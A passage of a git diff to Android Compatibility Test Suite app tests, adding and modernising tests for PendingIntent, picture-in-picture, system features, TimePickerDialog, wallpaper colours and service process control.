diff --git a/tests/app/src/android/app/cts/PendingIntentTest.java b/tests/app/src/android/app/cts/PendingIntentTest.java
index 92000e6..b0226c9 100644
--- a/tests/app/src/android/app/cts/PendingIntentTest.java
+++ b/tests/app/src/android/app/cts/PendingIntentTest.java
@@ -21,8 +21,10 @@
import android.app.stubs.MockReceiver;
import android.app.stubs.MockService;
import android.app.stubs.PendingIntentStubActivity;
+import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
+import android.content.IntentFilter;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
@@ -32,6 +34,9 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
public class PendingIntentTest extends AndroidTestCase {
private static final int WAIT_TIME = 10000;
@@ -196,6 +201,80 @@
pendingIntentSendError(mPendingIntent);
}
+ // Local receiver for examining delivered broadcast intents
+ private class ExtraReceiver extends BroadcastReceiver {
+ private final String extraName;
+
+ public volatile int extra = 0;
+ public CountDownLatch latch = null;
+
+ public ExtraReceiver(String name) {
+ extraName = name;
+ }
+
+ public void onReceive(Context ctx, Intent intent) {
+ extra = intent.getIntExtra(extraName, 0);
+ latch.countDown();
+ }
+
+ public void reset() {
+ extra = 0;
+ latch = new CountDownLatch(1);
+ }
+
+ public boolean waitForReceipt() throws InterruptedException {
+ return latch.await(WAIT_TIME, TimeUnit.MILLISECONDS);
+ }
+ }
+
+ public void testUpdateCurrent() throws InterruptedException, CanceledException {
+ final int EXTRA_1 = 50;
+ final int EXTRA_2 = 38;
+ final String EXTRA_NAME = "test_extra";
+ final String BROADCAST_ACTION = "testUpdateCurrent_action";
+
+ final Context context = getContext();
+ final ExtraReceiver br = new ExtraReceiver(EXTRA_NAME);
+ final IntentFilter filter = new IntentFilter(BROADCAST_ACTION);
+ context.registerReceiver(br, filter);
+
+ // Baseline: establish that we get the extra properly
+ PendingIntent pi;
+ Intent intent = new Intent(BROADCAST_ACTION);
+ intent.putExtra(EXTRA_NAME, EXTRA_1);
+
+ pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+
+ try {
+ br.reset();
+ pi.send();
+ assertTrue(br.waitForReceipt());
+ assertTrue(br.extra == EXTRA_1);
+
+ // Change the extra in the Intent
+ intent.putExtra(EXTRA_NAME, EXTRA_2);
+
+ // Repeat PendingIntent.getBroadcast() *without* UPDATE_CURRENT, so we expect
+ // the underlying Intent to still be the initial one with EXTRA_1
+ pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+ br.reset();
+ pi.send();
+ assertTrue(br.waitForReceipt());
+ assertTrue(br.extra == EXTRA_1);
+
+ // This time use UPDATE_CURRENT, and expect to get the updated extra when the
+ // PendingIntent is sent
+ pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+ br.reset();
+ pi.send();
+ assertTrue(br.waitForReceipt());
+ assertTrue(br.extra == EXTRA_2);
+ } finally {
+ pi.cancel();
+ context.unregisterReceiver(br);
+ }
+ }
+
public void testGetService() throws InterruptedException, CanceledException {
MockService.prepareStart();
mIntent = new Intent();
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
index a8cfc90..bceb748 100644
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ b/tests/app/src/android/app/cts/PipActivityTest.java
@@ -17,6 +17,7 @@
package android.app.cts;
import android.app.Instrumentation;
+import android.app.PictureInPictureParams;
import android.app.stubs.PipActivity;
import android.test.ActivityInstrumentationTestCase2;
@@ -58,9 +59,9 @@
} else {
boolean pipSupportDisabled = false;
try {
- mActivity.enterPictureInPictureMode();
+ pipSupportDisabled = !mActivity.enterPictureInPictureMode(
+ new PictureInPictureParams.Builder().build());
} catch (IllegalStateException e) {
- // Pip not supported
pipSupportDisabled = true;
}
assertTrue(pipSupportDisabled);
diff --git a/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java b/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
index d33ff4d..810c353 100644
--- a/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
+++ b/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
@@ -17,6 +17,7 @@
package android.app.cts;
import android.app.Instrumentation;
+import android.app.PictureInPictureParams;
import android.app.stubs.PipNotSupportedActivity;
import android.test.ActivityInstrumentationTestCase2;
@@ -42,7 +43,8 @@
public void run() {
boolean pipSupportDisabled = false;
try {
- mActivity.enterPictureInPictureMode();
+ pipSupportDisabled = !mActivity.enterPictureInPictureMode(
+ new PictureInPictureParams.Builder().build());
} catch (IllegalStateException e) {
// Pip not supported
pipSupportDisabled = true;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index fbaec83..53b1bf2 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -41,12 +41,13 @@
import android.nfc.NfcAdapter;
import android.telephony.TelephonyManager;
import android.test.InstrumentationTestCase;
-import com.android.compatibility.common.util.CddTest;
+
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
+
import junit.framework.AssertionFailedError;
/**
@@ -112,7 +113,6 @@
}
}
- @CddTest(requirement="7.5/C-1-1,7.5.1/C-1-1,7.5.2/C-1-1,7.5.3/C-1-1")
public void testCameraFeatures() throws Exception {
int numCameras = Camera.getNumberOfCameras();
if (numCameras == 0) {
@@ -258,6 +258,14 @@
}
}
+ public void testLowRamFeature() {
+ if (mActivityManager.isLowRamDevice()) {
+ assertAvailable(PackageManager.FEATURE_RAM_LOW);
+ } else {
+ assertAvailable(PackageManager.FEATURE_RAM_NORMAL);
+ }
+ }
+
public void testNfcFeatures() {
if (NfcAdapter.getDefaultAdapter(mContext) != null) {
// Watches MAY support all FEATURE_NFC features when an NfcAdapter is available, but
@@ -473,7 +481,8 @@
// false negatives.
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) &&
- !mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ !mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) &&
+ !mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED)) {
// USB accessory mode is only a requirement for devices with USB ports supporting
// peripheral mode. As there is no public API to distinguish a device with only host
// mode support from having both peripheral and host support, the test may have
diff --git a/tests/app/src/android/app/cts/TimePickerDialogTest.java b/tests/app/src/android/app/cts/TimePickerDialogTest.java
index 3da25ab..47a666c 100644
--- a/tests/app/src/android/app/cts/TimePickerDialogTest.java
+++ b/tests/app/src/android/app/cts/TimePickerDialogTest.java
@@ -16,21 +16,31 @@
package android.app.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.AlertDialog;
import android.app.TimePickerDialog;
import android.app.TimePickerDialog.OnTimeSetListener;
-import android.app.stubs.DialogStubActivity;
+import android.app.stubs.R;
import android.content.Context;
import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.test.UiThreadTest;
+import android.test.suitebuilder.annotation.MediumTest;
import android.widget.TimePicker;
-import android.app.stubs.R;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Test {@link TimePickerDialog}.
*/
-public class TimePickerDialogTest extends ActivityInstrumentationTestCase2<DialogStubActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TimePickerDialogTest {
private static final String HOUR = "hour";
private static final String MINUTE = "minute";
private static final String IS_24_HOUR = "is24hour";
@@ -44,17 +54,10 @@
private OnTimeSetListener mOnTimeSetListener;
private Context mContext;
- private DialogStubActivity mActivity;
- public TimePickerDialogTest() {
- super("android.app.stubs", DialogStubActivity.class);
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContext = getInstrumentation().getContext();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mOnTimeSetListener = new OnTimeSetListener(){
public void onTimeSet(TimePicker view, int hourOfDay, int minute) {
mCallbackHour = hourOfDay;
@@ -64,9 +67,31 @@
}
@UiThreadTest
+ @Test
+ public void testConstructor() {
+ new TimePickerDialog(mContext, null, 1, 1, false);
+
+ new TimePickerDialog(mContext, null, 1, 1, true);
+
+ new TimePickerDialog(mContext, AlertDialog.THEME_TRADITIONAL, null, 1, 1, false);
+
+ new TimePickerDialog(mContext, AlertDialog.THEME_HOLO_DARK, null, 1, 1, false);
+
+ new TimePickerDialog(mContext,
+ android.R.style.Theme_Material_Dialog_Alert, null, 1, 1, false);
+ }
+
+ @UiThreadTest
+ @Test(expected = NullPointerException.class)
+ public void testConstructorWithNullContext() {
+ new TimePickerDialog(null, null, 0, 0, false);
+ }
+
+ @UiThreadTest
+ @Test
public void testSaveInstanceState() {
TimePickerDialog tD = new TimePickerDialog(
- mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
+ mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
Bundle b = tD.onSaveInstanceState();
@@ -87,6 +112,7 @@
}
@UiThreadTest
+ @Test
public void testOnClick() {
TimePickerDialog timePickerDialog = buildDialog();
timePickerDialog.onClick(null, TimePickerDialog.BUTTON_POSITIVE);
@@ -95,21 +121,16 @@
assertEquals(TARGET_MINUTE, mCallbackMinute);
}
+ @UiThreadTest
+ @Test
public void testOnTimeChanged() throws Throwable {
final int minute = 34;
- startDialogActivity(DialogStubActivity.TEST_TIMEPICKERDIALOG);
- final TimePickerDialog d = (TimePickerDialog) mActivity.getDialog();
-
- runTestOnUiThread(new Runnable() {
- public void run() {
- d.onTimeChanged(null, TARGET_HOUR, minute);
- }
- });
- getInstrumentation().waitForIdleSync();
-
+ final TimePickerDialog d = buildDialog();
+ d.onTimeChanged(null, TARGET_HOUR, minute);
}
@UiThreadTest
+ @Test
public void testUpdateTime() {
TimePickerDialog timePickerDialog = buildDialog();
int minute = 18;
@@ -123,6 +144,7 @@
}
@UiThreadTest
+ @Test
public void testOnRestoreInstanceState() {
int minute = 27;
Bundle b1 = new Bundle();
@@ -141,10 +163,6 @@
assertFalse(b2.getBoolean(IS_24_HOUR));
}
- private void startDialogActivity(int dialogNumber) {
- mActivity = DialogStubActivity.startDialogActivity(this, dialogNumber);
- }
-
private TimePickerDialog buildDialog() {
return new TimePickerDialog(
mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
diff --git a/tests/app/src/android/app/cts/WallpaperColorsTest.java b/tests/app/src/android/app/cts/WallpaperColorsTest.java
new file mode 100644
index 0000000..105cae0
--- /dev/null
+++ b/tests/app/src/android/app/cts/WallpaperColorsTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import android.app.WallpaperColors;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.drawable.ColorDrawable;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
+import android.util.Size;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WallpaperColorsTest {
+
+ @Test
+ public void getWallpaperColorsTest() {
+ ArrayList<Color> colorList = new ArrayList<>();
+ colorList.add(Color.valueOf(Color.WHITE));
+ colorList.add(Color.valueOf(Color.BLACK));
+ colorList.add(Color.valueOf(Color.GREEN));
+
+ WallpaperColors colors = new WallpaperColors(colorList.get(0), colorList.get(1),
+ colorList.get(2));
+ Assert.assertSame(colors.getPrimaryColor(), colorList.get(0));
+ Assert.assertSame(colors.getSecondaryColor(), colorList.get(1));
+ Assert.assertSame(colors.getTertiaryColor(), colorList.get(2));
+ }
+
+ @Test
+ public void equalsTest() {
+ WallpaperColors colors1 = new WallpaperColors(Color.valueOf(Color.BLACK), null, null);
+ WallpaperColors colors2 = new WallpaperColors(Color.valueOf(Color.WHITE), null, null);
+
+ // Different colors
+ Assert.assertNotEquals(colors1, colors2);
+
+ // Same colors
+ WallpaperColors colors3 = new WallpaperColors(Color.valueOf(Color.BLACK), null, null);
+ Assert.assertEquals(colors1, colors3);
+ }
+
+ @Test
+ public void parcelTest() {
+ WallpaperColors wallpaperColors = new WallpaperColors(Color.valueOf(Color.WHITE),
+ Color.valueOf(Color.BLACK), Color.valueOf(Color.GREEN));
+
+ Parcel parcel = Parcel.obtain();
+ wallpaperColors.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ WallpaperColors newColors = new WallpaperColors(parcel);
+ Assert.assertEquals(wallpaperColors, newColors);
+ Assert.assertEquals(parcel.dataPosition(), parcel.dataSize());
+ parcel.recycle();
+ }
+
+ @Test
+ public void fromBitmapTest() {
+ Bitmap bmp = Bitmap.createBitmap(30, 30, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(bmp);
+ canvas.drawColor(Color.GREEN);
+
+ WallpaperColors colors = WallpaperColors.fromBitmap(bmp);
+ Assert.assertNotNull(colors.getPrimaryColor());
+ Assert.assertNull(colors.getSecondaryColor());
+ }
+
+ @Test
+ public void fromDrawableTest() {
+ ColorDrawable drawable = new ColorDrawable(Color.GREEN);
+ drawable.setBounds(0, 0, 30, 30);
+
+ WallpaperColors colors = WallpaperColors.fromDrawable(drawable);
+ Assert.assertNotNull(colors.getPrimaryColor());
+ Assert.assertNull(colors.getSecondaryColor());
+ }
+
+}
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 9f66e15..e267503 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -16,21 +16,210 @@
package android.app.cts;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.ArgumentMatchers.nullable;
+import static org.mockito.Mockito.atLeast;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
+import android.app.WallpaperColors;
import android.app.WallpaperManager;
+import android.content.BroadcastReceiver;
import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
import android.graphics.Point;
-import android.test.AndroidTestCase;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
import android.view.Display;
import android.view.WindowManager;
-public class WallpaperManagerTest extends AndroidTestCase {
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.MockitoAnnotations;
+
+import android.app.stubs.R;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class WallpaperManagerTest {
+
+ private static final boolean DEBUG = false;
+ private static final String TAG = "WallpaperManagerTest";
private WallpaperManager mWallpaperManager;
+ private Context mContext;
+ private Handler mHandler;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ MockitoAnnotations.initMocks(this);
+ mContext = InstrumentationRegistry.getTargetContext();
mWallpaperManager = WallpaperManager.getInstance(mContext);
+ final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
+ handlerThread.start();
+ mHandler = new Handler(handlerThread.getLooper());
+ }
+
+ @Test
+ public void setBitmapTest() {
+ Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(tmpWallpaper);
+ canvas.drawColor(Color.RED);
+
+ try {
+ int which = WallpaperManager.FLAG_SYSTEM;
+ mWallpaperManager.setBitmap(tmpWallpaper);
+ int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+ canvas.drawColor(Color.GREEN);
+ mWallpaperManager.setBitmap(tmpWallpaper);
+ int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+ Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ } finally {
+ tmpWallpaper.recycle();
+ }
+ }
+
+ @Test
+ public void setResourceTest() {
+ try {
+ int which = WallpaperManager.FLAG_SYSTEM;
+ int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+ mWallpaperManager.setResource(R.drawable.robot);
+ int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+ Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Test
+ public void wallpaperChangedBroadcastTest() {
+ Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(tmpWallpaper);
+ canvas.drawColor(Color.BLACK);
+
+ CountDownLatch latch = new CountDownLatch(1);
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+
+ try {
+ mWallpaperManager.setBitmap(tmpWallpaper);
+
+ // Wait for up to 5 sec since this is an async call.
+ // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+ } finally {
+ tmpWallpaper.recycle();
+ }
+ }
+
+ @Test
+ public void wallpaperClearBroadcastTest() {
+ CountDownLatch latch = new CountDownLatch(1);
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+
+ try {
+ mWallpaperManager.clear(WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM);
+
+ // Wait for 5 sec since this is an async call.
+ // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new AssertionError(e);
+ }
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_systemOnly() {
+ int both = WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM;
+ // Expect both since the first step is to migrate the current wallpaper
+ // to the lock screen.
+ verifyColorListenerInvoked(WallpaperManager.FLAG_SYSTEM, both);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_lockOnly() {
+ verifyColorListenerInvoked(WallpaperManager.FLAG_LOCK, WallpaperManager.FLAG_LOCK);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_both() {
+ int both = WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM;
+ verifyColorListenerInvoked(both, both);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_clearLock() throws IOException {
+ verifyColorListenerInvokedClearing(WallpaperManager.FLAG_LOCK);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_clearSystem() throws IOException {
+ verifyColorListenerInvokedClearing(WallpaperManager.FLAG_SYSTEM);
+ }
+
+ /**
+ * Removing a listener should not invoke it anymore
+ */
+ @Test
+ public void addRemoveOnColorsChangedListenerTest_onlyInvokeAdded() throws IOException {
+ ensureCleanState();
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> latch.countDown();
+
+ // Add and remove listener
+ WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+ mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+ mWallpaperManager.removeOnColorsChangedListener(listener);
+
+ // Verify that the listener is not called
+ mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
+ try {
+ mWallpaperManager.setResource(R.drawable.robot);
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Registered listener not invoked");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException(e);
+ }
+ verify(listener, never()).onColorsChanged(any(WallpaperColors.class), anyInt());
+ mWallpaperManager.removeOnColorsChangedListener(counter);
}
/**
@@ -40,7 +229,8 @@
* is greater than 0. If so, then we check whether that the size is at least the
* as big as the screen.
*/
- public void testSuggestDesiredDimensions() {
+ @Test
+ public void suggestDesiredDimensionsTest() {
final Point min = getScreenSize();
final int w = min.x * 3;
final int h = min.y * 2;
@@ -58,19 +248,177 @@
Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
mWallpaperManager.getDesiredMinimumHeight());
if (actualSize.x > 0 || actualSize.y > 0) {
- if((actualSize.x < minSize.x || actualSize.y < minSize.y)){
+ if ((actualSize.x < minSize.x || actualSize.y < minSize.y)) {
throw new AssertionError("Expected at least x: " + minSize.x + " y: "
- + minSize.y + ", got x: " + actualSize.x +
- " y: " + actualSize.y );
+ + minSize.y + ", got x: " + actualSize.x +
+ " y: " + actualSize.y);
}
}
}
private Point getScreenSize() {
- WindowManager wm = (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);
+ WindowManager wm = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
Display d = wm.getDefaultDisplay();
Point p = new Point();
d.getRealSize(p);
return p;
}
-}
+
+ /**
+ * Helper to set a listener and verify if it was called with the same flags.
+ * Executes operation synchronously.
+ *
+ * @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
+ */
+ private void verifyColorListenerInvoked(int which, int whichExpected) {
+ ensureCleanState();
+ int expected = 0;
+ if ((whichExpected & WallpaperManager.FLAG_LOCK) != 0) expected++;
+ if ((whichExpected & WallpaperManager.FLAG_SYSTEM) != 0) expected++;
+ ArrayList<Integer> received = new ArrayList<>();
+
+ final CountDownLatch latch = new CountDownLatch(expected);
+ Handler handler = new Handler(Looper.getMainLooper());
+
+ WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+ WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> {
+ handler.post(()-> {
+ received.add(whichWp);
+ boolean ok = false;
+ if ((whichWp & WallpaperManager.FLAG_LOCK) != 0 &&
+ (whichExpected & WallpaperManager.FLAG_LOCK) != 0) {
+ latch.countDown();
+ ok = true;
+ }
+ if ((whichWp & WallpaperManager.FLAG_SYSTEM) != 0 &&
+ (whichExpected & WallpaperManager.FLAG_SYSTEM) != 0) {
+ latch.countDown();
+ ok = true;
+ }
+ if (!ok) {
+ throw new AssertionError("Unexpected which flag: " + whichWp +
+ " should be: " + whichExpected);
+ }
+ });
+ };
+
+ mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+ mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
+
+ try {
+ mWallpaperManager.setResource(R.drawable.robot, which);
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Didn't receive all color events. Expected: " +
+ whichExpected + " received: " + received);
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ mWallpaperManager.removeOnColorsChangedListener(listener);
+ mWallpaperManager.removeOnColorsChangedListener(counter);
+ }
+
+ /**
+ * Helper to clear a wallpaper synchronously.
+ *
+ * @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
+ */
+ private void verifyColorListenerInvokedClearing(int which) {
+ ensureCleanState();
+
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+ WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> {
+ latch.countDown();
+ };
+
+ mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+ mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
+
+ try {
+ mWallpaperManager.clear(which);
+ latch.await(5, TimeUnit.SECONDS);
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ verify(listener, atLeast(1))
+ .onColorsChanged(nullable(WallpaperColors.class), anyInt());
+
+ mWallpaperManager.removeOnColorsChangedListener(listener);
+ mWallpaperManager.removeOnColorsChangedListener(counter);
+ }
+
+ /**
+ * Helper method to make sure a wallpaper is set for both FLAG_SYSTEM and FLAG_LOCK
+ * and its callbacks were already called. Necessary to cleanup previous tests states.
+ *
+ * This is necessary to avoid race conditions between tests
+ */
+ private void ensureCleanState() {
+ Bitmap bmp = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+ // We expect 5 events to happen when we change a wallpaper:
+ // • Wallpaper changed
+ // • System colors are null
+ // • Lock colors are null
+ // • System colors are known
+ // • Lock colors are known
+ final int expectedEvents = 5;
+ CountDownLatch latch = new CountDownLatch(expectedEvents);
+ if (DEBUG) {
+ Log.d("WP", "Started latch expecting: " + latch.getCount());
+ }
+ BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ if (DEBUG) {
+ Log.d("WP", "broadcast state count down: " + latch.getCount());
+ }
+ }
+ };
+ WallpaperManager.OnColorsChangedListener callback = (colors, which) -> {
+ if ((which & WallpaperManager.FLAG_LOCK) != 0) {
+ latch.countDown();
+ }
+ if ((which & WallpaperManager.FLAG_SYSTEM) != 0) {
+ latch.countDown();
+ }
+ if (DEBUG) {
+ Log.d("WP", "color state count down: " + which + " - " + colors);
+ }
+ };
+ mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+ mWallpaperManager.addOnColorsChangedListener(callback, mHandler);
+
+ try {
+ mWallpaperManager.setBitmap(bmp);
+
+ // Wait for up to 10 sec since this is an async call.
+ // Will pass as soon as the expected callbacks are executed.
+ latch.await(10, TimeUnit.SECONDS);
+ if (latch.getCount() != 0) {
+ Log.w(TAG, "Did not receive all events! This is probably a bug.");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException("Can't ensure a clean state.");
+ } finally {
+ mContext.unregisterReceiver(receiver);
+ mWallpaperManager.removeOnColorsChangedListener(callback);
+ bmp.recycle();
+ }
+ }
+
+ public WallpaperManager.OnColorsChangedListener getTestableListener() {
+ // Unfortunately mockito cannot mock anonymous classes or lambdas.
+ return spy(new TestableColorListener());
+ }
+
+ public class TestableColorListener implements WallpaperManager.OnColorsChangedListener {
+ @Override
+ public void onColorsChanged(WallpaperColors colors, int which) {
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
index 191a75a..f5bb5a3 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
@@ -102,6 +102,14 @@
}
}
+ public void stopMonitoringIfNeeded() {
+ synchronized (this) {
+ if (mMonitoring) {
+ stopMonitoring();
+ }
+ }
+ }
+
public void stopMonitoring() {
synchronized (this) {
if (!mMonitoring) {
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 605cbe2..9cad7a3 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -46,8 +46,10 @@
final ActivityManager mAm;
final Parcel mData;
final ServiceConnectionHandler[] mConnections;
+ final int mUid;
final UidImportanceListener mUidForegroundListener;
final UidImportanceListener mUidGoneListener;
+ final WatchUidRunner mUidWatcher;
public ServiceProcessController(Context context, Instrumentation instrumentation,
String myPackageName, Intent[] serviceIntents)
@@ -75,6 +77,7 @@
ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
mServicePackage, 0);
+ mUid = appInfo.uid;
mUidForegroundListener = new UidImportanceListener(appInfo.uid);
mAm.addOnUidImportanceListener(mUidForegroundListener,
@@ -82,9 +85,48 @@
mUidGoneListener = new UidImportanceListener(appInfo.uid);
mAm.addOnUidImportanceListener(mUidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
+
+ mUidWatcher = new WatchUidRunner(instrumentation, appInfo.uid);
}
- public void cleanup() {
+ public void denyBackgroundOp(long timeout) throws IOException {
+ String cmd = "appops set " + mServicePackage + " RUN_IN_BACKGROUND deny";
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+
+ // This is a side-effect of the app op command.
